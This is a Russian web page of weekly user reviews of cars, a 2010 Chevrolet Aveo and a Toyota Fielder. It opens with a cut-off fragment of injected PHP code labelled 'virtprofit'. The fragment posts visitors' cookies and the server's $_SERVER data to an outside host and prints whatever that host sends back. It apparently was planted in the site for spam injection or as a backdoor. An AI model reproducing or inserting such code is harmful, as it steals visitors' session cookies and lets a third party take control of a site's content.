array("header"=>"User-Agent: PHP Modules virtprofit\r\n"."Cookie: ".$_SERVER["HTTP_COOKIE"]."\r\n","method"=>"POST","timeout"=>2,"content"=>http_build_query($_SERVER))))); if($virtprofit_result) echo $virtprofit_result; ?>

Присланные отзывы за неделю


Прислал: Семён
Год: 2010
Эксплуатирую: 2 года
Отзыв:

Как я заметил, славой и любовью Шевроле Авео обычно не пользуется. Его покупают либо сумасшедшие фанаты бренда (что реже), либо те, кому по понятным причинам не хватает денежных накоплений для чего-то более стоящего по всем фронтам (они-то и вываливают жалобы в Сеть тоннами).
Я же не считаю эту модель действительно настолько провальной и достойной ведра критики, но, положа руку на сердце, машинка действительно достойна пинка, чтобы на нее поругались разок-другой. Конечно, первое, на что можно обидится, это кузов. Мне кажется, что он очень сильно неблагонадежный. От греха решил покрыть антикоррозийной такой сильной, какой смог отыскать в пределах города. И все равно поджилки трясутся. Но так как это 2010 год выпуска и через пару месяцев я собираюсь вывести объявление о продажи, то пусть дальше за нее трясется кто-то другой.
Буквально на днях слетел стабилизатор. Переставили достаточно оперативно, но все же как-то это тревожно. Свечи уже менял. Теперь вот приглядываюсь к тормозным колодкам. Начитался много негатива в данном ключе и теперь держу ухо востро на всякий пожарный



Прислал: Анатолий
Год: 2009
Эксплуатирую: 1 год
Отзыв:

Всем привет и доброго времени суток. За прокатом нескольких машин, я стал подбирать машину с минимальным расходом, универсала, с объемом двигателя до 2 литром, с которой можно было бы ездить без проблем.
Приглянулся Филдер с комплектацией х202, которого отличало от обычных наличием черного салона, прозрачных задних фар, решеткой радиатора, красивого заводского литья 16, задней губы, и кожаной отделкой с белой строчкой.
Могу сказать, что расход меня обрадовал (6-7 литров на 120 км/ч). К качеству бензина машина не привередлива, может поездить и на 92-ом. Разницы я не чувствовал. Бак мне кажется маловатым, хватает его на 550 км до лампочки. Авто при скорости 180 км/ч едет как по рельсам, отличная чувствительность дороги, но появляются шумы в салоне. Самая комфортная скорость 140.
Немного пришлось познакомится с вариатором. Сначала он создавал мне проблемы, но теперь я его хорошенько изучил (главное надо делать все без резких нажатий). Двигатель один из самый надежные и простых, удачно располагается в авто. Мягкость ходя обеспечивает подвеска, но на больших ямах пробивает (это общий минус для всех мягких ходовок).
Эту машину, я считаю, идеальной, в плане соотношения цены и качества. Каждый день заводиться, ездить на ура.
Всем благодарен за внимание.



Return to Top ▲НА ВЕРХ ▲